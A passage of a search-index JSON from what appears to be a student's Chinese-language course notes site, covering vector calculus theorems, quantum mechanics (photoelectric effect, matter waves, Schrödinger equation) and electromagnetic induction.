<li>\u7b2c\u4e8c\u7c7b\u66f2\u7ebf\u79ef\u5206\uff0c\u8ba1\u7b97\u53ef\u4ee5\u4f7f\u7528\u53c2\u6570\u65b9\u7a0b\uff0c\u5c06\u66f2\u7ebf\u5fae\u5206\u8868\u793a\u51fa\u6765\uff0c\u4f46\u662f\u8981\u6839\u636e\u65b9\u5411\u6765\u786e\u5b9a\u79ef\u5206\u4e0a\u4e0b\u9650\uff1b\u4e5f\u53ef\u4ee5\u4f7f\u7528Green\u516c\u5f0f\u548cStokes\u516c\u5f0f\uff0c\u5c06\u8fb9\u754c\u66f2\u7ebf\u79ef\u5206\u8f6c\u5316\u4e3a\u6240\u56f4\u6210\u66f2\u9762\u4e0a\u7684\u7b2c\u4e00\u7c7b\u9762\u79ef\u5206</li> </ul> </li> <li>\u66f2\u9762\u79ef\u5206<ul> <li>\u7b2c\u4e00\u7c7b\u66f2\u9762\u79ef\u5206\uff0c\u8ba1\u7b97\u53ef\u4ee5\u901a\u8fc7\u6295\u5f71,\u901a\u8fc7\u8ba1\u7b97\u6cd5\u5411\u91cf\u6765\u8ba1\u7b97\u6295\u5f71\u89d2\uff1b\u4ece\u800c\u5c06\u66f2\u9762\u79ef\u5206\u8f6c\u5316\u4e3a\u4e8c\u91cd\u79ef\u5206</li> <li>\u7b2c\u4e8c\u7c7b\u66f2\u9762\u79ef\u5206\uff0c\u8ba1\u7b97\u53ef\u4ee5\u901a\u8fc7\u6295\u5f71,\u901a\u8fc7\u8ba1\u7b97\u6cd5\u5411\u91cf\u6765\u8ba1\u7b97\u6295\u5f71\u89d2\uff1b\u4ece\u800c\u5c06\u66f2\u9762\u79ef\u5206\u8f6c\u5316\u4e3a\u4e8c\u91cd\u79ef\u5206\uff0c\u5728\u8fd9\u4e2a\u57fa\u7840\u4e4b\u4e0a\u591a\u4e86\u4e00\u6b65\u5b9a\u5411\u5373 \u4e00\u6295\uff0c\u4e8c\u4ee3\uff0c\u4e09\u5b9a\u5411 \uff1b\u4e5f\u53ef\u4ee5\u4f7f\u7528Gauss\u516c\u5f0f\uff0c\u5c06\u66f2\u9762\u79ef\u5206\u8f6c\u5316\u4e3a\u6240\u56f4\u6210\u4f53\u79ef\u4e0a\u7684\u4f53\u79ef\u5206</li> </ul> </li> </ul> <p>Gauss,Green,Stokes\u516c\u5f0f</p> <ul> <li>Gauss\u516c\u5f0f\uff1a\\(\\iint_S \\vec{F}\\cdot d\\vec{S} = \\iiint_V \\nabla \\cdot \\vec{F}dV\\)</li> <li>Green\u516c\u5f0f\uff1a\\(\\oint_C Pdx + Qdy = \\iint_D (\\frac{\\partial Q}{\\partial x} - \\frac{\\partial P}{\\partial y})dxdy\\)</li> <li>Stokes\u516c\u5f0f\uff1a\\(\\oint_C \\vec{F}\\cdot d\\vec{r} = \\iint_S \\nabla \\times \\vec{F}\\cdot d\\vec{S}\\) \u5b9e\u9645\u4e0aGreen\u516c\u5f0f\u662fStokes\u516c\u5f0f\u5728\u4e8c\u7ef4\u5e73\u9762\u4e0a\u7684\u4e00\u4e2a\u7279\u4f8b</li> </ul>"},{"location":"NOTE/Physics/","title":"\u666e\u901a\u7269\u7406\u5b66\u4e8c(H)","text":"<p> \u7ea6 95 \u4e2a\u5b57 </p> <p>\u6388\u8bfe\u6559\u5e08\uff1a\u65b9\u660e\u864e</p> <p>\u4e00\u4f4d\u79d1\u7814\u548c\u6559\u5b66\u6c34\u5e73\u90fd\u5f88\u9ad8\u7684\u8001\u5e08\uff01\u8bb2\u8bfe\u5145\u6ee1\u6fc0\u60c5\uff0c\u53ef\u4ee5\u5728\u8bfe\u5802\u4e0a\u4e86\u89e3\u5230\u6240\u5b66\u77e5\u8bc6\u4e0e\u524d\u6cbf\u79d1\u5b66\uff0c\u5b9e\u9645\u751f\u6d3b\u7684\u8054\u7cfb\uff0c\u6839\u672c\u4e0d\u4f1a\u72af\u56f0\uff0c\u4f53\u9a8c\u6781\u4f73</p>"},{"location":"NOTE/Physics/#_1","title":"\u76ee\u5f55","text":"<ul> <li>\u9759\u7535\u5b66</li> <li>\u6052\u5b9a\u78c1\u5b66</li> <li>\u7535\u52a8\u529b\u5b66</li> <li>\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b</li> <li>\u5149\u5b66</li> <li>\u91cf\u5b50\u529b\u5b66</li> </ul>"},{"location":"NOTE/Physics/Quantum/","title":"\u91cf\u5b50\u529b\u5b66","text":"<p> \u7ea6 1936 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 7 \u5206\u949f</p> <p>\u666e\u7269\u7684\u6700\u540e\u4e00\u821e\uff0c\u52a0\u6cb9\uff01\ud83d\udcaa</p>"},{"location":"NOTE/Physics/Quantum/#the-nature-of-light","title":"The nature of light(\u5149\u7684\u672c\u8d28)","text":"<p>\u9ed1\u4f53\u8f90\u5c04</p> <p>\u9ed1\u4f53\u8f90\u5c04\u662f\u6307\u4e00\u79cd\u7406\u60f3\u5316\u7684\u7269\u4f53\uff08\u79f0\u4e3a\u9ed1\u4f53\uff09\u5728\u70ed\u5e73\u8861\u72b6\u6001\u4e0b\u53d1\u51fa\u7684\u7535\u78c1\u8f90\u5c04\u3002\u9ed1\u4f53\u80fd\u591f\u5438\u6536\u6240\u6709\u5165\u5c04\u7684\u7535\u78c1\u8f90\u5c04\uff0c\u800c\u4e0d\u53cd\u5c04\u6216\u900f\u5c04\u4efb\u4f55\u8f90\u5c04</p> <p>\u666e\u6717\u514b\u8f90\u5c04\u5b9a\u5f8b</p> \\[      R(\\lambda, T) = \\frac{2\\pi hc^2}{\\lambda^5} \\frac{1}{e^{\\frac{hc}{\\lambda kT}} - 1}  \\] <p>\\( h = 6.63 \\times 10^{-34} \\, \\text{J} \\cdot \\text{s} \\)</p> <p>\u5e38\u89c1\u7684\u7684\u8868\u8fbe\u6709\u666e\u6717\u514b\u5e38\u6570\\(h\\) \u548c \u7ea6\u5316\u666e\u6717\u514b\u5e38\u6570\\(\\hbar = \\frac{h}{2\\pi}\\)</p>"},{"location":"NOTE/Physics/Quantum/#_2","title":"\u5149\u5b50\u7684\u6027\u8d28","text":"<p>\u5149\u5177\u6709\u6ce2\u7c92\u4e8c\u8c61\u6027\uff0c\u5149\u5b50\u5177\u6709\u80fd\u91cf\u548c\u52a8\u91cf\u3002</p> <ul> <li> <p>\u6ce2\uff1a \\(\\bold{E}=E_m \\cos(kx-\\omega t)\\),\u6216\u8005\\(\\bold{E}=E_e e^{i(kx-\\omega t)}\\)</p> <ul> <li>\\(k\\) \u6ce2\u6570\uff0c\\(k = \\frac{2\\pi}{\\lambda}\\)</li> <li>\\(\\omega\\) \u89d2\u9891\u7387\uff0c\\(\\omega = \\frac{2\\pi}{T}\\)</li> <li>\\(T\\) \u5468\u671f\uff0c\\(T = \\frac{1}{f}\\)</li> <li>\\(f\\) \u9891\u7387\uff0c\\(f = \\frac{\\omega}{2\\pi}\\)</li> </ul> </li> <li> <p>\u7c92\u5b50\uff1a \\(E=h\\nu=h\\dfrac{\\omega}{2\\pi}=\\hbar\\omega\\),\u540c\u65f6\u80fd\u91cf\u548c\u52a8\u91cf\u6ee1\u8db3\u5173\u7cfb\\(E=mc^2=pc\\)</p> <ul> <li>\u52a8\u91cf\\(p=\\dfrac{E}{c}=\\dfrac{h\\nu}{c}=\\dfrac{h \\nu}{\\nu \\lambda}=\\dfrac{h}{\\lambda}=\\dfrac{h}{\\frac{2\\pi}{k}}=\\dfrac{h}{2\\pi}k=\\hbar k\\)</li> </ul> </li> </ul> <p>\u5149\u7535\u6548\u5e94</p> <p>\u5149\u7535\u6548\u5e94\u662f\u6307\u5f53\u5149\u7167\u5c04\u5230\u67d0\u79cd\u6750\u6599\uff08\u901a\u5e38\u662f\u91d1\u5c5e\uff09\u8868\u9762\u65f6\uff0c\u4f1a\u5bfc\u81f4\u6750\u6599\u8868\u9762\u91ca\u653e\u51fa\u7535\u5b50\u7684\u73b0\u8c61\u3002\u8fd9\u4e00\u6548\u5e94\u662f\u7531\u7231\u56e0\u65af\u5766\u57281905\u5e74\u89e3\u91ca\u7684\uff0c\u4ed6\u63d0\u51fa\u5149\u5b50\u5177\u6709\u7c92\u5b50\u6027\u8d28\uff0c\u5e76\u4e14\u6bcf\u4e2a\u5149\u5b50\u7684\u80fd\u91cf\u4e0e\u5176\u9891\u7387\u6210\u6b63\u6bd4\u3002\u5149\u7535\u6548\u5e94\u7684\u5173\u952e\u7279\u5f81\u5305\u62ec\uff1a</p> <ol> <li> <p>\u9608\u503c\u9891\u7387\uff1a\u53ea\u6709\u5f53\u5165\u5c04\u5149\u7684\u9891\u7387\u9ad8\u4e8e\u67d0\u4e2a\u7279\u5b9a\u503c\uff08\u9608\u503c\u9891\u7387\uff09\u65f6\uff0c\u624d\u4f1a\u53d1\u751f\u5149\u7535\u6548\u5e94\u3002\u8fd9\u662f\u56e0\u4e3a\u5149\u5b50\u7684\u80fd\u91cf\u5fc5\u987b\u5927\u4e8e\u6750\u6599\u4e2d\u7535\u5b50\u7684\u9038\u51fa\u529f\uff08\u5373\u5c06\u7535\u5b50\u4ece\u6750\u6599\u4e2d\u91ca\u653e\u6240\u9700\u7684\u6700\u5c0f\u80fd\u91cf\uff09\u3002</p> </li> <li> <p>\u5149\u5b50\u80fd\u91cf\u4e0e\u7535\u5b50\u52a8\u80fd\uff1a\u5165\u5c04\u5149\u5b50\u7684\u80fd\u91cf\u4e00\u90e8\u5206\u7528\u4e8e\u514b\u670d\u6750\u6599\u7684\u9038\u51fa\u529f\uff0c\u5269\u4f59\u7684\u80fd\u91cf\u8f6c\u5316\u4e3a\u7535\u5b50\u7684\u52a8\u80fd\u3002\u516c\u5f0f\u4e3a\uff1a</p> </li> </ol> \\[    E_{\\text{\u5149\u5b50}} = h\\nu = W + \\frac{1}{2}mv^2 \\] <p>\u5176\u4e2d\uff0c\\( h \\) \u662f\u666e\u6717\u514b\u5e38\u6570\uff0c\\( \\nu \\) \u662f\u5149\u7684\u9891\u7387\uff0c\\( W \\) \u662f\u9038\u51fa\u529f\uff0c\\( m \\) \u662f\u7535\u5b50\u7684\u8d28\u91cf\uff0c\\( v \\) \u662f\u7535\u5b50\u7684\u901f\u5ea6\u3002</p> <ol> <li>\u5149\u5f3a\u5ea6\u4e0e\u7535\u5b50\u6570\u91cf\uff1a\u589e\u52a0\u5165\u5c04\u5149\u7684\u5f3a\u5ea6\uff08\u5373\u5149\u5b50\u6570\u91cf\uff09\u4f1a\u589e\u52a0\u91ca\u653e\u7684\u7535\u5b50\u6570\u91cf\uff0c\u4f46\u4e0d\u4f1a\u5f71\u54cd\u7535\u5b50\u7684\u6700\u5927\u52a8\u80fd\u3002</li> </ol> <p>\u5149\u7535\u6548\u5e94\u7684\u53d1\u73b0\u548c\u89e3\u91ca\u4e3a\u91cf\u5b50\u529b\u5b66\u7684\u53d1\u5c55\u5960\u5b9a\u4e86\u57fa\u7840\uff0c\u5e76\u4e14\u4e3a\u5149\u7684\u7c92\u5b50\u6027\u63d0\u4f9b\u4e86\u91cd\u8981\u7684\u8bc1\u636e\u3002</p>"},{"location":"NOTE/Physics/Quantum/#matter-wave","title":"Matter Wave(\u7269\u8d28\u6ce2)","text":"<p>\ud83d\udc05:\u795e\u4eba\u5fb7\u5e03\u7f57\u610f</p> <p>\u7269\u8d28\u6ce2\u662f\u5fb7\u5e03\u7f57\u610f\u57281924\u5e74\u63d0\u51fa\u7684\u4e00\u4e2a\u6982\u5ff5\uff0c\u4ed6\u8ba4\u4e3a\u4efb\u4f55\u7269\u8d28\u90fd\u5177\u6709\u6ce2\u52a8\u6027\uff0c\u4f46\u662f\u5728\u63d0\u51fa\u8fd9\u4e00\u6982\u5ff5\u4e4b\u524d\uff0c\u4ed6\u5e76\u6ca1\u6709\u7cfb\u7edf\u7684\u5b66\u8fc7\u7269\u7406\uff1b</p> <p>\u5bf9\u4e8e\u5b8f\u89c2\u4e16\u754c\u901f\u5ea6\u4e3a\\(v\\),\u8d28\u91cf\u4e3a\\(m\\)\u7684\u7c92\u5b50</p> <ul> <li>\u52a8\u91cf\\(p=mv\\)</li> <li>\u52a8\u80fd\\(E_k=\\frac{1}{2}mv^2\\)</li> </ul> <p>\u5176\u6ce2\u6027\u8d28\u4e3a</p> <ul> <li>\\(E = h\\nu=\\hbar\\omega\\)</li> <li>\\(p = h/\\lambda=\\hbar k\\)</li> </ul> <p>\u5176\u6ce2\u957f\u4e3a</p> <ul> <li>\\(\\lambda = \\dfrac{h}{p}=\\dfrac{h}{mv}=\\dfrac{h}{\\sqrt{2mE_k}}\\)</li> </ul> <p>\u5176\u6ee1\u8db3\u8fd9\u6837\u4e00\u4e2a\u6ce2\u51fd\u6570</p> \\[ \\Psi=\\psi(x,t)=Ae^{i(kx-\\omega t)}=Ae^{\\frac{i}{\\hbar}(px-Et)} \\]"},{"location":"NOTE/Physics/Quantum/#_3","title":"\u6ce2\u51fd\u6570\u7684\u7269\u7406\u89e3\u91ca","text":"<p>\u7269\u8d28\u6ce2\u662f\u4e00\u79cd\u6982\u7387\u6ce2</p> <p>The product \\(\\Psi^*\\Psi\\) gives the probability that the particle in question will be found between positions \\(x\\) and \\(x+dx\\). </p> <p>\u5373</p> <p>\u6ce2\u51fd\u6570\u7684\u5e73\u65b9\u6a21 \\(\\Psi^*\\Psi\\) \u8868\u793a\u7c92\u5b50\u5728\u4f4d\u7f6e \\(x\\) \u5230 \\(x+dx\\) \u4e4b\u95f4\u88ab\u627e\u5230\u7684\u6982\u7387\u3002 \u516c\u5f0f\u4e3a\uff1a</p> \\[ \\text{Probability} = \\Psi^*\\Psi \\, dx \\] <p>\u5176\u4e2d\uff0c\\(\\Psi^*\\) \u662f\u6ce2\u51fd\u6570\u7684\u590d\u5171\u8f6d\uff0c\\(dx\\) \u662f\u4f4d\u7f6e\u7684\u5fae\u5c0f\u53d8\u5316\u91cf\u3002</p> <p>\u5c06\u51e0\u7387\u5bc6\u5ea6\u5b9a\u4e49\u4e3a</p> \\[ P(x) = \\Psi^*\\Psi \\] <p>\u82e5\u8981\u6c42\u7c92\u5b50\u5728\\(x_1\\)\u5230\\(x_2\\)\u4e4b\u95f4\u88ab\u627e\u5230\u7684\u6982\u7387\uff0c\u5219</p> \\[ P(x_1,x_2) = \\int_{x_1}^{x_2} P(x) \\, dx \\] <p>\u540c\u65f6\u5176\u6ee1\u8db3\u5f52\u4e00\u5316</p> \\[ \\int_{-\\infty}^{+\\infty} \\Psi^*\\Psi \\, dx = 1 \\] <p>\u5bf9\u4e8e\u81ea\u7531\u7c92\u5b50\u800c\u8a00</p> \\[ P(x) = \\left[ \\psi_0 e^{i(kx - \\omega t)} \\right] \\left[ \\psi_0^* e^{-i(kx - \\omega t)} \\right] = |\\psi_0|^2 \\] <p>\u662f\u4e00\u4e2a\u5f88\u5c0f\u7684\u5e38\u91cf</p>"},{"location":"NOTE/Physics/Quantum/#_4","title":"\u7b97\u7b26\u5b9a\u4e49","text":""},{"location":"NOTE/Physics/Quantum/#_5","title":"\u671f\u671b\u7b97\u7b26","text":"<p>\u4e00\u4e2a\u7c92\u5b50\u7684\u671f\u671b\u4f4d\u7f6e</p> \\[ \\bar{x} = \\frac{\\int_{-\\infty}^{+\\infty} x \\Psi^* \\Psi \\, dx}{\\int_{-\\infty}^{+\\infty} \\Psi^* \\Psi \\, dx} = \\frac{\\int_{-\\infty}^{+\\infty} \\Psi^* x \\Psi \\, dx}{\\int_{-\\infty}^{+\\infty} \\Psi^* \\Psi \\, dx} = \\int_{-\\infty}^{+\\infty} \\Psi^* x \\Psi \\, dx = \\langle \\psi | x | \\psi \\rangle = \\langle |x|\\rangle, \\] <p>\u4e24\u4e2a\u89d2\u4ee3\u8868\u88ab\\(\\Psi^*\\) \u548c \\(\\Psi\\) \u5939\u4f4f\u505a\u79ef\u5206</p> <p>\u5982\u679c\u6c42\u5176\u5b83\u91cf\u4f8b\u5982\u52bf\u80fd\u7684\u671f\u671b\u503c\u4e5f\u662f\u7c7b\u4f3c\u7684,\u4f8b\u5982\\(\\langle \\psi |U(x)|\\psi \\rangle\\)</p>"},{"location":"NOTE/Physics/Quantum/#momentum-operator","title":"\u52a8\u91cf\u7b97\u7b26(momentum operator)","text":"<p>\u5bf9\u4e8e\\(\\Psi = \\psi_0 e^{i(kx-\\omega t)}\\)</p> <p>\u5bf9 \\(x\\) \u6c42\u5bfc\u6570</p> \\[ \\frac{\\partial \\Psi}{\\partial x} = ik\\psi_0 e^{i(kx-\\omega t)} \\] \\[ -i\\hbar \\frac{\\partial \\Psi}{\\partial x} = (-i\\hbar) ik \\psi_0 e^{i(kx-\\omega t)} = \\hbar k \\psi_0 e^{i(kx-\\omega t)} \\] <p>\u800c\\(\\hbar k\\) \u5c31\u662f\u52a8\u91cf\\(p\\)</p> <p>\u6240\u4ee5</p> \\[ -i\\hbar \\frac{\\partial \\Psi}{\\partial x} = p \\Psi \\] <p> \u52a8\u91cf\u7b97\u7b26\u4e3a $ p= -i\\hbar \\frac{\\partial}{\\partial x}$</p> <p>\u7528\u52a8\u91cf\u7b97\u7b26\u6c42\u52a8\u91cf</p> \\[ \\begin{align*} \\therefore \\bar{p} &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* \\left( -i\\hbar \\frac{\\partial}{\\partial x} \\right) \\Psi \\, dx \\\\ &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* \\left( -i\\hbar \\frac{\\partial}{\\partial x} \\right) \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* (-i\\hbar) ik \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\hbar k \\int_{-\\infty}^{+\\infty} \\Psi^* \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\hbar k \\int_{-\\infty}^{+\\infty} \\Psi^* \\Psi \\, dx \\\\ &amp;= \\hbar k \\end{align*} \\]"},{"location":"NOTE/Physics/Quantum/#energy-operator","title":"\u80fd\u91cf\u7b97\u7b26(Energy operator)","text":"\\[ \\frac{\\partial \\Psi}{\\partial t} = -i\\omega \\psi_0 e^{i(kx-\\omega t)} \\] \\[ i\\hbar \\frac{\\partial \\Psi}{\\partial t} = (i\\hbar)(-i\\omega)\\psi_0 e^{i(kx-\\omega t)} = \\hbar \\omega \\psi_0 e^{i(kx-\\omega t)} = E\\Psi \\] <p> \u80fd\u91cf\u7b97\u7b26\u4e3a \\(E = i\\hbar \\frac{\\partial}{\\partial t}\\) </p> <p>\u7528\u80fd\u91cf\u7b97\u7b26\u6c42\u80fd\u91cf</p> \\[ \\begin{align*} \\therefore \\bar{E} &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* \\left( i\\hbar \\frac{\\partial}{\\partial t} \\right) \\Psi \\, dx \\\\ &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* \\left( i\\hbar \\frac{\\partial}{\\partial t} \\right) \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* (i\\hbar)(-i\\omega) \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\hbar \\omega \\int_{-\\infty}^{+\\infty} \\Psi^* \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\hbar \\omega \\int_{-\\infty}^{+\\infty} \\Psi^* \\Psi \\, dx \\\\ &amp;= \\hbar \\omega \\end{align*} \\]"},{"location":"NOTE/Physics/Quantum/#_6","title":"\u859b\u5b9a\u8c14\u65b9\u7a0b","text":"<p>\u5bf9\u4e8e\u4e00\u4e2a\u7c92\u5b50\u7684\u603b\u80fd\u91cf\uff0c\u6709\u52bf\u80fd\u548c\u52a8\u80fd</p> \\[ E = U + \\frac{p^2}{2m} \\] <p>\u4e24\u8fb9\u540c\u65f6\u4e58\u4ee5\u6ce2\u51fd\u6570\\(\\Psi\\)</p> \\[ E\\Psi = U\\Psi + \\frac{p^2}{2m}\\Psi \\] <p>\u5c06\\(E\\) \u548c \\(p\\) \u7528\u7b97\u7b26\u8868\u793a</p> \\[ E\\Psi = \\frac{p^2}{2m} \\Psi + U\\Psi \\] \\[ i\\hbar \\frac{\\partial}{\\partial t} \\Psi = \\frac{1}{2m} (-i\\hbar \\frac{\\partial}{\\partial x})(-i\\hbar \\frac{\\partial}{\\partial x}) \\Psi + U\\Psi \\] \\[ i\\hbar \\frac{\\partial}{\\partial t} \\Psi = -\\frac{\\hbar^2}{2m} \\frac{\\partial^2}{\\partial x^2} \\Psi + U\\Psi \\] <p>\u79f0\u5176\u4e3a\u4e00\u7ef4\u542b\u65f6\u859b\u5b9a\u8c14\u65b9\u7a0b</p> <p>\u7b80\u5199\u4e3a</p> \\[ i\\hbar \\frac{\\partial}{\\partial t} \\Psi = \\hat{H} \\Psi \\] <p>\u5176\u4e2d\\(\\hat{H}\\) \u4e3a\u54c8\u5bc6\u987f\u7b97\u7b26,\u4e5f\u662f\u80fd\u91cf\u7b97\u7b26</p> <ul> <li>\u4e00\u7ef4 \\(\\hat{H} = -\\frac{\\hbar^2}{2m} \\frac{\\partial^2}{\\partial x^2} + U(x,t)\\)</li> <li>\u4e09\u7ef4 \\(\\hat{H} = -\\frac{\\hbar^2}{2m} \\nabla^2 + U(x,y,z,t)\\)</li> </ul>"},{"location":"NOTE/Physics/Quantum/#_7","title":"\u5b9a\u6001\u859b\u5b9a\u8c14\u65b9\u7a0b","text":"<p>\u5982\u679c\u8bf4\u52bf\u80fd\\(U\\) \u4e0d\u968f\u65f6\u95f4\u53d8\u5316\uff0c\u5219\u6ce2\u51fd\u6570\u53ef\u4ee5\u5199\u6210</p> \\[ \\Psi(x,t) = \\psi(x) e^{-i\\omega t} = \\psi  e^{-i\\omega t} \\] \\[ i\\hbar \\frac{\\partial}{\\partial t} \\Psi = -\\frac{\\hbar^2}{2m} \\frac{\\partial^2}{\\partial x^2} \\Psi + U\\Psi \\] \\[ i\\hbar \\frac{\\partial}{\\partial t} (\\psi e^{-i\\omega t}) = -\\frac{\\hbar^2}{2m} \\frac{\\partial^2}{\\partial x^2} (\\psi e^{-i\\omega t}) + U\\psi e^{-i\\omega t} \\] \\[ (-i\\omega) i\\hbar \\psi e^{-i\\omega t} = -\\frac{\\hbar^2}{2m} \\frac{d^2 \\psi}{dx^2} e^{-i\\omega t} + U\\psi e^{-i\\omega t} \\] <p>\u542b\\(t\\)\u7684\u9879\u6d88\u53bb\uff0c\u5f97\u5230</p> \\[ \\hbar \\omega \\psi = -\\frac{\\hbar^2}{2m} \\frac{d^2 \\psi}{dx^2} + U\\psi \\] <p>\u518d\u8fd0\u7528\\(E = \\hbar \\omega\\) </p> \\[ E\\psi(x) = -\\frac{\\hbar^2}{2m} \\frac{d^2 \\psi(x)}{dx^2} + U\\psi(x) \\] <p>\u79f0\u5176\u4e3a\u4e00\u7ef4\u5b9a\u6001\u859b\u5b9a\u8c14\u65b9\u7a0b</p> <p>\u53ef\u4ee5\u5316\u4e3a</p> \\[     \\frac{d^2 \\psi(x)}{dx^2} + \\frac{2m}{\\hbar^2}(E - U)\\psi(x) = 0 \\] <p>\u5176\u5b83\u5b9a\u4e49</p> <p>\u864e\u54e5\u53ea\u63d0\u4e86\u4e00\u4e0b\uff0c\u90a3\u6211\u4e5f\u53ea\u8bb0\u4e00\u4e0b</p> <ul> <li>\u52bf\u5792\u96a7\u9053\uff08barrier tunneling\uff09</li> </ul> <p>\u52bf\u5792\u96a7\u9053\u662f\u6307\u5728\u91cf\u5b50\u529b\u5b66\u4e2d\uff0c\u7c92\u5b50\u80fd\u591f\u7a7f\u8fc7\u52bf\u5792\uff08\u52bf\u80fd\uff09\u7684\u91cf\u5b50\u6548\u5e94\u3002\u52bf\u5792\u96a7\u9053\u6548\u5e94\u662f\u91cf\u5b50\u529b\u5b66\u4e2d\u7684\u4e00\u4e2a\u57fa\u672c\u73b0\u8c61\uff0c\u5b83\u63cf\u8ff0\u4e86\u7c92\u5b50\u5728\u52bf\u5792\uff08\u901a\u5e38\u662f\u52bf\u80fd\uff09\u7684\u963b\u6321\u4e0b\u4ecd\u7136\u80fd\u591f\u7a7f\u900f\u7684\u73b0\u8c61\u3002</p> <ul> <li>\u6d4b\u4e0d\u51c6\u539f\u7406\uff08Uncertainty principle\uff09</li> </ul> <p>\u6d4b\u4e0d\u51c6\u539f\u7406\u662f\u6307\u5728\u91cf\u5b50\u529b\u5b66\u4e2d\uff0c\u7c92\u5b50\u7684\u4f4d\u7f6e\u548c\u52a8\u91cf\u4e0d\u80fd\u540c\u65f6\u88ab\u7cbe\u786e\u6d4b\u91cf\u3002\u8fd9\u610f\u5473\u7740\uff0c\u5982\u679c\u6211\u4eec\u8bd5\u56fe\u7cbe\u786e\u6d4b\u91cf\u7c92\u5b50\u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48\u5b83\u7684\u52a8\u91cf\u5c31\u4f1a\u53d8\u5f97\u4e0d\u786e\u5b9a\uff0c\u53cd\u4e4b\u4ea6\u7136\u3002</p> \\[     \\Delta x \\Delta p \\geq \\frac{\\hbar}{2} \\] <p>\u540c\u6837\u80fd\u91cf\u548c\u65f6\u95f4\u4e5f\u6709\u8fd9\u6837\u7684\u5173\u7cfb</p> \\[     \\Delta E \\Delta t \\geq \\frac{\\hbar}{2} \\]"},{"location":"NOTE/Physics/electrodynamincs/","title":"\u7535\u52a8\u529b\u5b66","text":"<p> \u7ea6 3331 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 11 \u5206\u949f</p>"},{"location":"NOTE/Physics/electrodynamincs/#_2","title":"\u6cd5\u62c9\u7b2c\u7535\u78c1\u611f\u5e94\u5b9a\u5f8b","text":"\\[     \\Phi = \\int_S \\boldsymbol{B} \\cdot d\\boldsymbol{S} \\] \\[     \\varepsilon = -\\frac{d\\Phi}{dt} \\] <p>Key-point</p> <p>\u695e\u6b21\u5b9a\u5f8b\u5df2\u7ecf\u8574\u542b\u5728\"-\"\u53f7\u4e2d,\u695e\u6b21\u5b9a\u5f8b\u662f\u80fd\u91cf\u5b88\u6052\u5b9a\u5f8b\u5728\u7535\u78c1\u611f\u5e94\u4e2d\u7684\u4f53\u73b0</p>"},{"location":"NOTE/Physics/electrodynamincs/#_3","title":"\u52a8\u751f\u7535\u52a8\u52bf","text":"<p>\u7535\u8377\u53d7\u5230\u7684\u975e\u9759\u7535\u529b</p> \\[     \\boldsymbol{f} = q(\\boldsymbol{v} \\times \\boldsymbol{B}) \\] <p>\u5b9e\u9645\u4e0a\u8fd9\u4e2a\u662f\u6d1b\u4f26\u5179\u529b\u7684\u5206\u91cf</p> <p>Proof</p> <p>  \u514b\u670d\u6d1b\u4f26\u5179\u529b\u7684\u5206\u91cf\u505a\u529f\u8f6c\u5316\u4e3a\u975e\u9759\u7535\u529b\u505a\u529f,\u6d1b\u4f26\u5179\u529b\u603b\u7684\u4e0d\u505a\u529f</p> \\[     V=v+v_d \\enspace F=N+f \\] \\[     F=qVB \\] \\[     dW_N=N (vdt)=F\\sin\\theta vdt=Fvdt\\dfrac{v_d}{V}=F\\dfrac{v}{V}(v_d dt)=F\\cos\\theta v_d dt=fv_d dt=dW_f \\] <p>\u52a8\u751f\u7535\u52a8\u52bf</p> \\[     \\varepsilon =\\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l}=\\oint \\dfrac{\\boldsymbol{f}}{q}d\\boldsymbol{l}= \\oint (\\boldsymbol{v} \\times \\boldsymbol{B}) \\cdot d\\boldsymbol{l} \\] <p>\u53d1\u7535\u673a</p> \\[     \\Phi = \\boldsymbol{B} \\cdot \\boldsymbol{S} =BS\\cos\\theta=BA\\cos\\omega t \\] \\[     \\varepsilon = -\\dfrac{d\\Phi}{dt} = BA\\omega\\sin\\omega t \\]"},{"location":"NOTE/Physics/electrodynamincs/#_4","title":"\u611f\u751f\u7535\u52a8\u52bf","text":"<p>\u6da1\u65cb\u7535\u6d41</p> \\[     \\varepsilon = \\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l} \\] <p>Proof</p> <p>\u505a\u529f\u76f8\u7b49</p> \\[     \\varepsilon q_0=q_0 E_{induce} l \\] \\[     \\varepsilon = E_{induce} l \\] \\[     \\varepsilon = \\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l} \\] <p>\u8fd9\u63d0\u4f9b\u4e86\u4e00\u79cd\u6c42\u51fa\u611f\u751f\u7535\u573a\u7684\u65b9\u6cd5</p> <p>Example</p> <p> </p> <p>\u78c1\u573a\u9759\u6b62\uff0c\u52a8\u751f\u7535\u52a8\u52bf\\(\\varepsilon=BDv\\)</p> <p>\u78c1\u573a\u8fd0\u52a8\uff0c\u611f\u751f\u7535\u52a8\u52bf</p> \\[     \\varepsilon=\\oint E dl=ED=BDv \\] \\[     E=v \\times B \\] <p>\u53d8\u5316\u7684\u78c1\u573a</p> \\[     \\varepsilon = -\\frac{d\\Phi}{dt}=-A \\frac{dB}{dt} \\] <p>\u63a8\u5e7f\u7535\u573a\u73af\u8def\u5b9a\u5f8b</p> \\[     \\oint (\\boldsymbol{E_{sta}+E_{ind}}) \\cdot d\\boldsymbol{l} =0+( -\\frac{d\\Phi}{dt}) \\] \\[     \\Phi = \\iint \\boldsymbol{B} \\cdot d\\boldsymbol{S} \\] \\[     \\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l} = -\\frac{d\\Phi}{dt}= - \\iint \\frac{\\partial \\boldsymbol{B}}{\\partial t} \\cdot d\\boldsymbol{S} \\] <p>\u8fd0\u7528stokes\u516c\u5f0f</p> \\[   \\nabla \\times \\boldsymbol{E} = -\\frac{\\partial \\boldsymbol{B}}{\\partial t} \\] 